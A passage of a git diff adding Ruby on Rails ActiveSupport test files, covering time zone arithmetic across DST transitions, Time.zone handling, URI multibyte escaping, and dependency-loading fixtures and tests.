+ assert_equal "Sat, 28 Oct 2006 10:30:01 EDT -04:00", twz.ago(1.days - 1.second).inspect
+ end
+
+ def test_advance_1_day_expressed_as_number_of_seconds_minutes_or_hours_across_fall_dst_transition
+ twz = ActiveSupport::TimeWithZone.new(nil, @time_zone, Time.utc(2006,10,28,10,30))
+ # In 2006, fall DST transition occurred Oct 29 at 2AM; this day was 25 hours long
+ # When we advance a specific number of hours, minutes or seconds, we want to advance exactly that amount
+ assert_equal "Sun, 29 Oct 2006 09:30:00 EST -05:00", (twz + 86400).inspect
+ assert_equal "Sun, 29 Oct 2006 09:30:00 EST -05:00", (twz + 86400.seconds).inspect
+ assert_equal "Sun, 29 Oct 2006 09:30:00 EST -05:00", twz.since(86400).inspect
+ assert_equal "Sun, 29 Oct 2006 09:30:00 EST -05:00", twz.since(86400.seconds).inspect
+ assert_equal "Sun, 29 Oct 2006 09:30:00 EST -05:00", twz.advance(:seconds => 86400).inspect
+ assert_equal "Sun, 29 Oct 2006 09:30:00 EST -05:00", (twz + 1440.minutes).inspect
+ assert_equal "Sun, 29 Oct 2006 09:30:00 EST -05:00", twz.since(1440.minutes).inspect
+ assert_equal "Sun, 29 Oct 2006 09:30:00 EST -05:00", twz.advance(:minutes => 1440).inspect
+ assert_equal "Sun, 29 Oct 2006 09:30:00 EST -05:00", (twz + 24.hours).inspect
+ assert_equal "Sun, 29 Oct 2006 09:30:00 EST -05:00", twz.since(24.hours).inspect
+ assert_equal "Sun, 29 Oct 2006 09:30:00 EST -05:00", twz.advance(:hours => 24).inspect
+ end
+
+ def test_advance_1_day_expressed_as_number_of_seconds_minutes_or_hours_across_fall_dst_transition_backwards
+ twz = ActiveSupport::TimeWithZone.new(nil, @time_zone, Time.utc(2006,10,29,9,30))
+ # In 2006, fall DST transition occurred Oct 29 at 2AM; this day was 25 hours long
+ # When we advance a specific number of hours, minutes or seconds, we want to advance exactly that amount
+ assert_equal "Sat, 28 Oct 2006 10:30:00 EDT -04:00", (twz - 86400).inspect
+ assert_equal "Sat, 28 Oct 2006 10:30:00 EDT -04:00", (twz - 86400.seconds).inspect
+ assert_equal "Sat, 28 Oct 2006 10:30:00 EDT -04:00", twz.ago(86400).inspect
+ assert_equal "Sat, 28 Oct 2006 10:30:00 EDT -04:00", twz.ago(86400.seconds).inspect
+ assert_equal "Sat, 28 Oct 2006 10:30:00 EDT -04:00", twz.advance(:seconds => -86400).inspect
+ assert_equal "Sat, 28 Oct 2006 10:30:00 EDT -04:00", (twz - 1440.minutes).inspect
+ assert_equal "Sat, 28 Oct 2006 10:30:00 EDT -04:00", twz.ago(1440.minutes).inspect
+ assert_equal "Sat, 28 Oct 2006 10:30:00 EDT -04:00", twz.advance(:minutes => -1440).inspect
+ assert_equal "Sat, 28 Oct 2006 10:30:00 EDT -04:00", (twz - 24.hours).inspect
+ assert_equal "Sat, 28 Oct 2006 10:30:00 EDT -04:00", twz.ago(24.hours).inspect
+ assert_equal "Sat, 28 Oct 2006 10:30:00 EDT -04:00", twz.advance(:hours => -24).inspect
+ end
+
+ def test_advance_1_month_across_spring_dst_transition
+ twz = ActiveSupport::TimeWithZone.new(nil, @time_zone, Time.utc(2006,4,1,10,30))
+ assert_equal "Mon, 01 May 2006 10:30:00 EDT -04:00", twz.advance(:months => 1).inspect
+ assert_equal "Mon, 01 May 2006 10:30:00 EDT -04:00", twz.months_since(1).inspect
+ assert_equal "Mon, 01 May 2006 10:30:00 EDT -04:00", twz.since(1.month).inspect
+ assert_equal "Mon, 01 May 2006 10:30:00 EDT -04:00", (twz + 1.month).inspect
+ end
+
+ def test_advance_1_month_across_spring_dst_transition_backwards
+ twz = ActiveSupport::TimeWithZone.new(nil, @time_zone, Time.utc(2006,5,1,10,30))
+ assert_equal "Sat, 01 Apr 2006 10:30:00 EST -05:00", twz.advance(:months => -1).inspect
+ assert_equal "Sat, 01 Apr 2006 10:30:00 EST -05:00", twz.months_ago(1).inspect
+ assert_equal "Sat, 01 Apr 2006 10:30:00 EST -05:00", twz.ago(1.month).inspect
+ assert_equal "Sat, 01 Apr 2006 10:30:00 EST -05:00", (twz - 1.month).inspect
+ end
+
+ def test_advance_1_month_across_fall_dst_transition
+ twz = ActiveSupport::TimeWithZone.new(nil, @time_zone, Time.utc(2006,10,28,10,30))
+ assert_equal "Tue, 28 Nov 2006 10:30:00 EST -05:00", twz.advance(:months => 1).inspect
+ assert_equal "Tue, 28 Nov 2006 10:30:00 EST -05:00", twz.months_since(1).inspect
+ assert_equal "Tue, 28 Nov 2006 10:30:00 EST -05:00", twz.since(1.month).inspect
+ assert_equal "Tue, 28 Nov 2006 10:30:00 EST -05:00", (twz + 1.month).inspect
+ end
+
+ def test_advance_1_month_across_fall_dst_transition_backwards
+ twz = ActiveSupport::TimeWithZone.new(nil, @time_zone, Time.utc(2006,11,28,10,30))
+ assert_equal "Sat, 28 Oct 2006 10:30:00 EDT -04:00", twz.advance(:months => -1).inspect
+ assert_equal "Sat, 28 Oct 2006 10:30:00 EDT -04:00", twz.months_ago(1).inspect
+ assert_equal "Sat, 28 Oct 2006 10:30:00 EDT -04:00", twz.ago(1.month).inspect
+ assert_equal "Sat, 28 Oct 2006 10:30:00 EDT -04:00", (twz - 1.month).inspect
+ end
+
+ def test_advance_1_year
+ twz = ActiveSupport::TimeWithZone.new(nil, @time_zone, Time.utc(2008,2,15,10,30))
+ assert_equal "Sun, 15 Feb 2009 10:30:00 EST -05:00", twz.advance(:years => 1).inspect
+ assert_equal "Sun, 15 Feb 2009 10:30:00 EST -05:00", twz.years_since(1).inspect
+ assert_equal "Sun, 15 Feb 2009 10:30:00 EST -05:00", (twz + 1.year).inspect
+ assert_equal "Thu, 15 Feb 2007 10:30:00 EST -05:00", twz.advance(:years => -1).inspect
+ assert_equal "Thu, 15 Feb 2007 10:30:00 EST -05:00", twz.years_ago(1).inspect
+ assert_equal "Thu, 15 Feb 2007 10:30:00 EST -05:00", (twz - 1.year).inspect
+ end
+
+ def test_advance_1_year_during_dst
+ twz = ActiveSupport::TimeWithZone.new(nil, @time_zone, Time.utc(2008,7,15,10,30))
+ assert_equal "Wed, 15 Jul 2009 10:30:00 EDT -04:00", twz.advance(:years => 1).inspect
+ assert_equal "Wed, 15 Jul 2009 10:30:00 EDT -04:00", twz.years_since(1).inspect
+ assert_equal "Wed, 15 Jul 2009 10:30:00 EDT -04:00", (twz + 1.year).inspect
+ assert_equal "Sun, 15 Jul 2007 10:30:00 EDT -04:00", twz.advance(:years => -1).inspect
+ assert_equal "Sun, 15 Jul 2007 10:30:00 EDT -04:00", twz.years_ago(1).inspect
+ assert_equal "Sun, 15 Jul 2007 10:30:00 EDT -04:00", (twz - 1.year).inspect
+ end
+
+ def test_no_method_error_has_proper_context
+ e = assert_raises(NoMethodError) {
+ @twz.this_method_does_not_exist
+ }
+ assert_equal "undefined method `this_method_does_not_exist' for Fri, 31 Dec 1999 19:00:00 EST -05:00:Time", e.message
+ assert_no_match "rescue", e.backtrace.first
+ end
+
+ protected
+ def with_env_tz(new_tz = 'US/Eastern')
+ old_tz, ENV['TZ'] = ENV['TZ'], new_tz
+ yield
+ ensure
+ old_tz ? ENV['TZ'] = old_tz : ENV.delete('TZ')
+ end
+end
+
+class TimeWithZoneMethodsForTimeAndDateTimeTest < ActiveSupport::TestCase
+ def setup
+ @t, @dt = Time.utc(2000), DateTime.civil(2000)
+ end
+
+ def teardown
+ Time.zone = nil
+ end
+
+ def test_in_time_zone
+ Time.use_zone 'Alaska' do
+ assert_equal 'Fri, 31 Dec 1999 15:00:00 AKST -09:00', @t.in_time_zone.inspect
+ assert_equal 'Fri, 31 Dec 1999 15:00:00 AKST -09:00', @dt.in_time_zone.inspect
+ end
+ Time.use_zone 'Hawaii' do
+ assert_equal 'Fri, 31 Dec 1999 14:00:00 HST -10:00', @t.in_time_zone.inspect
+ assert_equal 'Fri, 31 Dec 1999 14:00:00 HST -10:00', @dt.in_time_zone.inspect
+ end
+ Time.use_zone nil do
+ assert_equal @t, @t.in_time_zone
+ assert_equal @dt, @dt.in_time_zone
+ end
+ end
+
+ def test_nil_time_zone
+ Time.use_zone nil do
+ assert !@t.in_time_zone.respond_to?(:period), 'no period method'
+ assert !@dt.in_time_zone.respond_to?(:period), 'no period method'
+ end
+ end
+
+ def test_in_time_zone_with_argument
+ Time.use_zone 'Eastern Time (US & Canada)' do # Time.zone will not affect #in_time_zone(zone)
+ assert_equal 'Fri, 31 Dec 1999 15:00:00 AKST -09:00', @t.in_time_zone('Alaska').inspect
+ assert_equal 'Fri, 31 Dec 1999 15:00:00 AKST -09:00', @dt.in_time_zone('Alaska').inspect
+ assert_equal 'Fri, 31 Dec 1999 14:00:00 HST -10:00', @t.in_time_zone('Hawaii').inspect
+ assert_equal 'Fri, 31 Dec 1999 14:00:00 HST -10:00', @dt.in_time_zone('Hawaii').inspect
+ assert_equal 'Sat, 01 Jan 2000 00:00:00 UTC +00:00', @t.in_time_zone('UTC').inspect
+ assert_equal 'Sat, 01 Jan 2000 00:00:00 UTC +00:00', @dt.in_time_zone('UTC').inspect
+ assert_equal 'Fri, 31 Dec 1999 15:00:00 AKST -09:00', @t.in_time_zone(-9.hours).inspect
+ end
+ end
+
+ def test_in_time_zone_with_invalid_argument
+ assert_raise(ArgumentError) { @t.in_time_zone("No such timezone exists") }
+ assert_raise(ArgumentError) { @dt.in_time_zone("No such timezone exists") }
+ assert_raise(ArgumentError) { @t.in_time_zone(-15.hours) }
+ assert_raise(ArgumentError) { @dt.in_time_zone(-15.hours) }
+ assert_raise(ArgumentError) { @t.in_time_zone(Object.new) }
+ assert_raise(ArgumentError) { @dt.in_time_zone(Object.new) }
+ end
+
+ def test_in_time_zone_with_time_local_instance
+ with_env_tz 'US/Eastern' do
+ time = Time.local(1999, 12, 31, 19) # == Time.utc(2000)
+ assert_equal 'Fri, 31 Dec 1999 15:00:00 AKST -09:00', time.in_time_zone('Alaska').inspect
+ end
+ end
+
+ def test_localtime
+ Time.zone = ActiveSupport::TimeZone['Eastern Time (US & Canada)']
+ assert_equal @dt.in_time_zone.localtime, @dt.in_time_zone.utc.to_time.getlocal
+ ensure
+ Time.zone = nil
+ end
+
+ def test_use_zone
+ Time.zone = 'Alaska'
+ Time.use_zone 'Hawaii' do
+ assert_equal ActiveSupport::TimeZone['Hawaii'], Time.zone
+ end
+ assert_equal ActiveSupport::TimeZone['Alaska'], Time.zone
+ end
+
+ def test_use_zone_with_exception_raised
+ Time.zone = 'Alaska'
+ assert_raise RuntimeError do
+ Time.use_zone('Hawaii') { raise RuntimeError }
+ end
+ assert_equal ActiveSupport::TimeZone['Alaska'], Time.zone
+ end
+
+ def test_use_zone_raises_on_invalid_timezone
+ Time.zone = 'Alaska'
+ assert_raise ArgumentError do
+ Time.use_zone("No such timezone exists") { }
+ end
+ assert_equal ActiveSupport::TimeZone['Alaska'], Time.zone
+ end
+
+ def test_time_zone_getter_and_setter
+ Time.zone = ActiveSupport::TimeZone['Alaska']
+ assert_equal ActiveSupport::TimeZone['Alaska'], Time.zone
+ Time.zone = 'Alaska'
+ assert_equal ActiveSupport::TimeZone['Alaska'], Time.zone
+ Time.zone = -9.hours
+ assert_equal ActiveSupport::TimeZone['Alaska'], Time.zone
+ Time.zone = nil
+ assert_equal nil, Time.zone
+ end
+
+ def test_time_zone_getter_and_setter_with_zone_default_set
+ Time.zone_default = ActiveSupport::TimeZone['Alaska']
+ assert_equal ActiveSupport::TimeZone['Alaska'], Time.zone
+ Time.zone = ActiveSupport::TimeZone['Hawaii']
+ assert_equal ActiveSupport::TimeZone['Hawaii'], Time.zone
+ Time.zone = nil
+ assert_equal ActiveSupport::TimeZone['Alaska'], Time.zone
+ ensure
+ Time.zone = nil
+ Time.zone_default = nil
+ end
+
+ def test_time_zone_setter_is_thread_safe
+ Time.use_zone 'Paris' do
+ t1 = Thread.new { Time.zone = 'Alaska' }.join
+ t2 = Thread.new { Time.zone = 'Hawaii' }.join
+ assert t1.stop?, "Thread 1 did not finish running"
+ assert t2.stop?, "Thread 2 did not finish running"
+ assert_equal ActiveSupport::TimeZone['Paris'], Time.zone
+ assert_equal ActiveSupport::TimeZone['Alaska'], t1[:time_zone]
+ assert_equal ActiveSupport::TimeZone['Hawaii'], t2[:time_zone]
+ end
+ end
+
+ def test_time_zone_setter_with_tzinfo_timezone_object_wraps_in_rails_time_zone
+ tzinfo = TZInfo::Timezone.get('America/New_York')
+ Time.zone = tzinfo
+ assert_kind_of ActiveSupport::TimeZone, Time.zone
+ assert_equal tzinfo, Time.zone.tzinfo
+ assert_equal 'America/New_York', Time.zone.name
+ assert_equal(-18_000, Time.zone.utc_offset)
+ end
+
+ def test_time_zone_setter_with_tzinfo_timezone_identifier_does_lookup_and_wraps_in_rails_time_zone
+ Time.zone = 'America/New_York'
+ assert_kind_of ActiveSupport::TimeZone, Time.zone
+ assert_equal 'America/New_York', Time.zone.tzinfo.name
+ assert_equal 'America/New_York', Time.zone.name
+ assert_equal(-18_000, Time.zone.utc_offset)
+ end
+
+ def test_time_zone_setter_with_invalid_zone
+ assert_raise(ArgumentError){ Time.zone = "No such timezone exists" }
+ assert_raise(ArgumentError){ Time.zone = -15.hours }
+ assert_raise(ArgumentError){ Time.zone = Object.new }
+ end
+
+ def test_find_zone_without_bang_returns_nil_if_time_zone_can_not_be_found
+ assert_nil Time.find_zone('No such timezone exists')
+ assert_nil Time.find_zone(-15.hours)
+ assert_nil Time.find_zone(Object.new)
+ end
+
+ def test_find_zone_with_bang_raises_if_time_zone_can_not_be_found
+ assert_raise(ArgumentError) { Time.find_zone!('No such timezone exists') }
+ assert_raise(ArgumentError) { Time.find_zone!(-15.hours) }
+ assert_raise(ArgumentError) { Time.find_zone!(Object.new) }
+ end
+
+ def test_time_zone_setter_with_find_zone_without_bang
+ assert_nil Time.zone = Time.find_zone('No such timezone exists')
+ assert_nil Time.zone = Time.find_zone(-15.hours)
+ assert_nil Time.zone = Time.find_zone(Object.new)
+ end
+
+ def test_current_returns_time_now_when_zone_not_set
+ with_env_tz 'US/Eastern' do
+ Time.stubs(:now).returns Time.local(2000)
+ assert_equal false, Time.current.is_a?(ActiveSupport::TimeWithZone)
+ assert_equal Time.local(2000), Time.current
+ end
+ end
+
+ def test_current_returns_time_zone_now_when_zone_set
+ Time.zone = ActiveSupport::TimeZone['Eastern Time (US & Canada)']
+ with_env_tz 'US/Eastern' do
+ Time.stubs(:now).returns Time.local(2000)
+ assert_equal true, Time.current.is_a?(ActiveSupport::TimeWithZone)
+ assert_equal 'Eastern Time (US & Canada)', Time.current.time_zone.name
+ assert_equal Time.utc(2000), Time.current.time
+ end
+ ensure
+ Time.zone = nil
+ end
+
+ protected
+ def with_env_tz(new_tz = 'US/Eastern')
+ old_tz, ENV['TZ'] = ENV['TZ'], new_tz
+ yield
+ ensure
+ old_tz ? ENV['TZ'] = old_tz : ENV.delete('TZ')
+ end
+end
+
+class TimeWithZoneMethodsForDate < ActiveSupport::TestCase
+ def setup
+ @d = Date.civil(2000)
+ end
+
+ def teardown
+ Time.zone = nil
+ end
+
+ def test_in_time_zone
+ with_tz_default 'Alaska' do
+ assert_equal 'Sat, 01 Jan 2000 00:00:00 AKST -09:00', @d.in_time_zone.inspect
+ end
+ with_tz_default 'Hawaii' do
+ assert_equal 'Sat, 01 Jan 2000 00:00:00 HST -10:00', @d.in_time_zone.inspect
+ end
+ with_tz_default nil do
+ assert_equal @d.to_time, @d.in_time_zone
+ end
+ end
+
+ def test_nil_time_zone
+ with_tz_default nil do
+ assert !@d.in_time_zone.respond_to?(:period), 'no period method'
+ end
+ end
+
+ def test_in_time_zone_with_argument
+ with_tz_default 'Eastern Time (US & Canada)' do # Time.zone will not affect #in_time_zone(zone)
+ assert_equal 'Sat, 01 Jan 2000 00:00:00 AKST -09:00', @d.in_time_zone('Alaska').inspect
+ assert_equal 'Sat, 01 Jan 2000 00:00:00 HST -10:00', @d.in_time_zone('Hawaii').inspect
+ assert_equal 'Sat, 01 Jan 2000 00:00:00 UTC +00:00', @d.in_time_zone('UTC').inspect
+ assert_equal 'Sat, 01 Jan 2000 00:00:00 AKST -09:00', @d.in_time_zone(-9.hours).inspect
+ end
+ end
+
+ def test_in_time_zone_with_invalid_argument
+ assert_raise(ArgumentError) { @d.in_time_zone("No such timezone exists") }
+ assert_raise(ArgumentError) { @d.in_time_zone(-15.hours) }
+ assert_raise(ArgumentError) { @d.in_time_zone(Object.new) }
+ end
+
+ protected
+ def with_tz_default(tz = nil)
+ old_tz = Time.zone
+ Time.zone = tz
+ yield
+ ensure
+ Time.zone = old_tz
+ end
+end
+
+class TimeWithZoneMethodsForString < ActiveSupport::TestCase
+ def setup
+ @s = "Sat, 01 Jan 2000 00:00:00"
+ @u = "Sat, 01 Jan 2000 00:00:00 UTC +00:00"
+ @z = "Fri, 31 Dec 1999 19:00:00 EST -05:00"
+ end
+
+ def teardown
+ Time.zone = nil
+ end
+
+ def test_in_time_zone
+ with_tz_default 'Alaska' do
+ assert_equal 'Sat, 01 Jan 2000 00:00:00 AKST -09:00', @s.in_time_zone.inspect
+ assert_equal 'Fri, 31 Dec 1999 15:00:00 AKST -09:00', @u.in_time_zone.inspect
+ assert_equal 'Fri, 31 Dec 1999 15:00:00 AKST -09:00', @z.in_time_zone.inspect
+ end
+ with_tz_default 'Hawaii' do
+ assert_equal 'Sat, 01 Jan 2000 00:00:00 HST -10:00', @s.in_time_zone.inspect
+ assert_equal 'Fri, 31 Dec 1999 14:00:00 HST -10:00', @u.in_time_zone.inspect
+ assert_equal 'Fri, 31 Dec 1999 14:00:00 HST -10:00', @z.in_time_zone.inspect
+ end
+ with_tz_default nil do
+ assert_equal @s.to_time, @s.in_time_zone
+ assert_equal @u.to_time, @u.in_time_zone
+ assert_equal @z.to_time, @z.in_time_zone
+ end
+ end
+
+ def test_nil_time_zone
+ with_tz_default nil do
+ assert !@s.in_time_zone.respond_to?(:period), 'no period method'
+ assert !@u.in_time_zone.respond_to?(:period), 'no period method'
+ assert !@z.in_time_zone.respond_to?(:period), 'no period method'
+ end
+ end
+
+ def test_in_time_zone_with_argument
+ with_tz_default 'Eastern Time (US & Canada)' do # Time.zone will not affect #in_time_zone(zone)
+ assert_equal 'Sat, 01 Jan 2000 00:00:00 AKST -09:00', @s.in_time_zone('Alaska').inspect
+ assert_equal 'Fri, 31 Dec 1999 15:00:00 AKST -09:00', @u.in_time_zone('Alaska').inspect
+ assert_equal 'Fri, 31 Dec 1999 15:00:00 AKST -09:00', @z.in_time_zone('Alaska').inspect
+ assert_equal 'Sat, 01 Jan 2000 00:00:00 HST -10:00', @s.in_time_zone('Hawaii').inspect
+ assert_equal 'Fri, 31 Dec 1999 14:00:00 HST -10:00', @u.in_time_zone('Hawaii').inspect
+ assert_equal 'Fri, 31 Dec 1999 14:00:00 HST -10:00', @z.in_time_zone('Hawaii').inspect
+ assert_equal 'Sat, 01 Jan 2000 00:00:00 UTC +00:00', @s.in_time_zone('UTC').inspect
+ assert_equal 'Sat, 01 Jan 2000 00:00:00 UTC +00:00', @u.in_time_zone('UTC').inspect
+ assert_equal 'Sat, 01 Jan 2000 00:00:00 UTC +00:00', @z.in_time_zone('UTC').inspect
+ assert_equal 'Sat, 01 Jan 2000 00:00:00 AKST -09:00', @s.in_time_zone(-9.hours).inspect
+ assert_equal 'Fri, 31 Dec 1999 15:00:00 AKST -09:00', @u.in_time_zone(-9.hours).inspect
+ assert_equal 'Fri, 31 Dec 1999 15:00:00 AKST -09:00', @z.in_time_zone(-9.hours).inspect
+ end
+ end
+
+ def test_in_time_zone_with_invalid_argument
+ assert_raise(ArgumentError) { @s.in_time_zone("No such timezone exists") }
+ assert_raise(ArgumentError) { @u.in_time_zone("No such timezone exists") }
+ assert_raise(ArgumentError) { @z.in_time_zone("No such timezone exists") }
+ assert_raise(ArgumentError) { @s.in_time_zone(-15.hours) }
+ assert_raise(ArgumentError) { @u.in_time_zone(-15.hours) }
+ assert_raise(ArgumentError) { @z.in_time_zone(-15.hours) }
+ assert_raise(ArgumentError) { @s.in_time_zone(Object.new) }
+ assert_raise(ArgumentError) { @u.in_time_zone(Object.new) }
+ assert_raise(ArgumentError) { @z.in_time_zone(Object.new) }
+ end
+
+ protected
+ def with_tz_default(tz = nil)
+ old_tz = Time.zone
+ Time.zone = tz
+ yield
+ ensure
+ Time.zone = old_tz
+ end
+end
+
+class TimeWithZoneExtBehaviorTest < ActiveSupport::TestCase
+ def test_compare_with_infinity
+ time_zone = ActiveSupport::TimeZone['Eastern Time (US & Canada)']
+ twz = ActiveSupport::TimeWithZone.new(Time.now, time_zone)
+
+ assert_equal(-1, twz <=> Float::INFINITY)
+ assert_equal(1, twz <=> -Float::INFINITY)
+ end
+end
diff --git a/activesupport/test/core_ext/uri_ext_test.rb b/activesupport/test/core_ext/uri_ext_test.rb
new file mode 100644
index 0000000..03e388d
--- /dev/null
+++ b/activesupport/test/core_ext/uri_ext_test.rb
@@ -0,0 +1,13 @@
+# encoding: utf-8
+require 'abstract_unit'
+require 'uri'
+require 'active_support/core_ext/uri'
+
+class URIExtTest < ActiveSupport::TestCase
+ def test_uri_decode_handle_multibyte
+ str = "\xE6\x97\xA5\xE6\x9C\xAC\xE8\xAA\x9E" # Ni-ho-nn-go in UTF-8, means Japanese.
+
+ parser = URI::Parser.new
+ assert_equal str, parser.unescape(parser.escape(str))
+ end
+end
diff --git a/activesupport/test/dependencies/check_warnings.rb b/activesupport/test/dependencies/check_warnings.rb
new file mode 100644
index 0000000..03c3dca
--- /dev/null
+++ b/activesupport/test/dependencies/check_warnings.rb
@@ -0,0 +1,2 @@
+$check_warnings_load_count += 1
+$checked_verbose = $VERBOSE
diff --git a/activesupport/test/dependencies/conflict.rb b/activesupport/test/dependencies/conflict.rb
new file mode 100644
index 0000000..e888b7b
--- /dev/null
+++ b/activesupport/test/dependencies/conflict.rb
@@ -0,0 +1 @@
+Conflict = 1
\ No newline at end of file
diff --git a/activesupport/test/dependencies/cross_site_depender.rb b/activesupport/test/dependencies/cross_site_depender.rb
new file mode 100644
index 0000000..a31015f
--- /dev/null
+++ b/activesupport/test/dependencies/cross_site_depender.rb
@@ -0,0 +1,3 @@
+class CrossSiteDepender
+ CrossSiteDependency
+end
\ No newline at end of file
diff --git a/activesupport/test/dependencies/mutual_one.rb b/activesupport/test/dependencies/mutual_one.rb
new file mode 100644
index 0000000..576eb31
--- /dev/null
+++ b/activesupport/test/dependencies/mutual_one.rb
@@ -0,0 +1,4 @@
+$mutual_dependencies_count += 1
+require_dependency 'mutual_two'
+require_dependency 'mutual_two.rb'
+require_dependency 'mutual_two'
diff --git a/activesupport/test/dependencies/mutual_two.rb b/activesupport/test/dependencies/mutual_two.rb
new file mode 100644
index 0000000..fdbc2dc
--- /dev/null
+++ b/activesupport/test/dependencies/mutual_two.rb
@@ -0,0 +1,4 @@
+$mutual_dependencies_count += 1
+require_dependency 'mutual_one.rb'
+require_dependency 'mutual_one'
+require_dependency 'mutual_one.rb'
diff --git a/activesupport/test/dependencies/raises_exception.rb b/activesupport/test/dependencies/raises_exception.rb
new file mode 100644
index 0000000..dd745ac
--- /dev/null
+++ b/activesupport/test/dependencies/raises_exception.rb
@@ -0,0 +1,3 @@
+$raises_exception_load_count += 1
+raise Exception, 'Loading me failed, so do not add to loaded or history.'
+$raises_exception_load_count += 1
diff --git a/activesupport/test/dependencies/requires_nonexistent0.rb b/activesupport/test/dependencies/requires_nonexistent0.rb
new file mode 100644
index 0000000..7e24b39
--- /dev/null
+++ b/activesupport/test/dependencies/requires_nonexistent0.rb
@@ -0,0 +1 @@
+require 'RMagickDontExistDude'
diff --git a/activesupport/test/dependencies/requires_nonexistent1.rb b/activesupport/test/dependencies/requires_nonexistent1.rb
new file mode 100644
index 0000000..41e6668
--- /dev/null
+++ b/activesupport/test/dependencies/requires_nonexistent1.rb
@@ -0,0 +1 @@
+require_dependency 'requires_nonexistent0'
diff --git a/activesupport/test/dependencies/service_one.rb b/activesupport/test/dependencies/service_one.rb
new file mode 100644
index 0000000..f43bfea
--- /dev/null
+++ b/activesupport/test/dependencies/service_one.rb
@@ -0,0 +1,5 @@
+$loaded_service_one ||= 0
+$loaded_service_one += 1
+
+class ServiceOne
+end
\ No newline at end of file
diff --git a/activesupport/test/dependencies/service_two.rb b/activesupport/test/dependencies/service_two.rb
new file mode 100644
index 0000000..5205a78
--- /dev/null
+++ b/activesupport/test/dependencies/service_two.rb
@@ -0,0 +1,2 @@
+class ServiceTwo
+end
\ No newline at end of file
diff --git a/activesupport/test/dependencies_test.rb b/activesupport/test/dependencies_test.rb
new file mode 100644
index 0000000..115a4e8
--- /dev/null
+++ b/activesupport/test/dependencies_test.rb
@@ -0,0 +1,979 @@
+require 'abstract_unit'
+require 'pp'
+require 'active_support/dependencies'
+require 'dependencies_test_helpers'
+
+module ModuleWithMissing
+ mattr_accessor :missing_count
+ def self.const_missing(name)
+ self.missing_count += 1
+ name
+ end
+end
+
+module ModuleWithConstant
+ InheritedConstant = "Hello"
+end
+
+class DependenciesTest < ActiveSupport::TestCase
+ def teardown
+ ActiveSupport::Dependencies.clear
+ end
+
+ include DependenciesTestHelpers
+
+ def test_depend_on_path
+ skip "LoadError#path does not exist" if RUBY_VERSION < '2.0.0'
+
+ expected = assert_raises(LoadError) do
+ Kernel.require 'omgwtfbbq'
+ end
+
+ e = assert_raises(LoadError) do
+ ActiveSupport::Dependencies.depend_on 'omgwtfbbq'
+ end
+ assert_equal expected.path, e.path
+ end
+
+ def test_tracking_loaded_files
+ require_dependency 'dependencies/service_one'
+ require_dependency 'dependencies/service_two'
+ assert_equal 2, ActiveSupport::Dependencies.loaded.size
+ ensure
+ Object.send(:remove_const, :ServiceOne) if Object.const_defined?(:ServiceOne)
+ Object.send(:remove_const, :ServiceTwo) if Object.const_defined?(:ServiceTwo)
+ end
+
+ def test_tracking_identical_loaded_files
+ require_dependency 'dependencies/service_one'
+ require_dependency 'dependencies/service_one'
+ assert_equal 1, ActiveSupport::Dependencies.loaded.size
+ ensure
+ Object.send(:remove_const, :ServiceOne) if Object.const_defined?(:ServiceOne)
+ end
+
+ def test_missing_dependency_raises_missing_source_file
+ assert_raise(MissingSourceFile) { require_dependency("missing_service") }
+ end
+
+ def test_dependency_which_raises_exception_isnt_added_to_loaded_set
+ with_loading do
+ filename = 'dependencies/raises_exception'
+ $raises_exception_load_count = 0
+
+ 5.times do |count|
+ begin
+ require_dependency filename
+ flunk 'should have loaded dependencies/raises_exception which raises an exception'
+ rescue Exception => e
+ assert_equal 'Loading me failed, so do not add to loaded or history.', e.message
+ end
+ assert_equal count + 1, $raises_exception_load_count
+
+ assert !ActiveSupport::Dependencies.loaded.include?(filename)
+ assert !ActiveSupport::Dependencies.history.include?(filename)
+ end
+ end
+ end
+
+ def test_warnings_should_be_enabled_on_first_load
+ with_loading 'dependencies' do
+ old_warnings, ActiveSupport::Dependencies.warnings_on_first_load = ActiveSupport::Dependencies.warnings_on_first_load, true
+
+ filename = "check_warnings"
+ expanded = File.expand_path("#{File.dirname(__FILE__)}/dependencies/#{filename}")
+ $check_warnings_load_count = 0
+
+ assert !ActiveSupport::Dependencies.loaded.include?(expanded)
+ assert !ActiveSupport::Dependencies.history.include?(expanded)
+
+ silence_warnings { require_dependency filename }
+ assert_equal 1, $check_warnings_load_count
+ assert_equal true, $checked_verbose, 'On first load warnings should be enabled.'
+
+ assert ActiveSupport::Dependencies.loaded.include?(expanded)
+ ActiveSupport::Dependencies.clear
+ assert !ActiveSupport::Dependencies.loaded.include?(expanded)
+ assert ActiveSupport::Dependencies.history.include?(expanded)
+
+ silence_warnings { require_dependency filename }
+ assert_equal 2, $check_warnings_load_count
+ assert_equal nil, $checked_verbose, 'After first load warnings should be left alone.'
+
+ assert ActiveSupport::Dependencies.loaded.include?(expanded)
+ ActiveSupport::Dependencies.clear
+ assert !ActiveSupport::Dependencies.loaded.include?(expanded)
+ assert ActiveSupport::Dependencies.history.include?(expanded)
+
+ enable_warnings { require_dependency filename }
+ assert_equal 3, $check_warnings_load_count
+ assert_equal true, $checked_verbose, 'After first load warnings should be left alone.'
+
+ assert ActiveSupport::Dependencies.loaded.include?(expanded)
+ ActiveSupport::Dependencies.warnings_on_first_load = old_warnings
+ end
+ end
+
+ def test_mutual_dependencies_dont_infinite_loop
+ with_loading 'dependencies' do
+ $mutual_dependencies_count = 0
+ assert_nothing_raised { require_dependency 'mutual_one' }
+ assert_equal 2, $mutual_dependencies_count
+
+ ActiveSupport::Dependencies.clear
+
+ $mutual_dependencies_count = 0
+ assert_nothing_raised { require_dependency 'mutual_two' }
+ assert_equal 2, $mutual_dependencies_count
+ end
+ end
+
+ def test_circular_autoloading_detection
+ with_autoloading_fixtures do
+ e = assert_raise(RuntimeError) { Circular1 }
+ assert_equal "Circular dependency detected while autoloading constant Circular1", e.message
+ end
+ end
+
+ def test_module_loading
+ with_autoloading_fixtures do
+ assert_kind_of Module, A
+ assert_kind_of Class, A::B
+ assert_kind_of Class, A::C::D
+ assert_kind_of Class, A::C::E::F
+ end
+ end
+
+ def test_non_existing_const_raises_name_error
+ with_autoloading_fixtures do
+ assert_raise(NameError) { DoesNotExist }
+ assert_raise(NameError) { NoModule::DoesNotExist }
+ assert_raise(NameError) { A::DoesNotExist }
+ assert_raise(NameError) { A::B::DoesNotExist }
+ end
+ end
+
+ def test_directories_manifest_as_modules_unless_const_defined
+ with_autoloading_fixtures do
+ assert_kind_of Module, ModuleFolder
+ Object.__send__ :remove_const, :ModuleFolder
+ end
+ end
+
+ def test_module_with_nested_class
+ with_autoloading_fixtures do
+ assert_kind_of Class, ModuleFolder::NestedClass
+ Object.__send__ :remove_const, :ModuleFolder
+ end
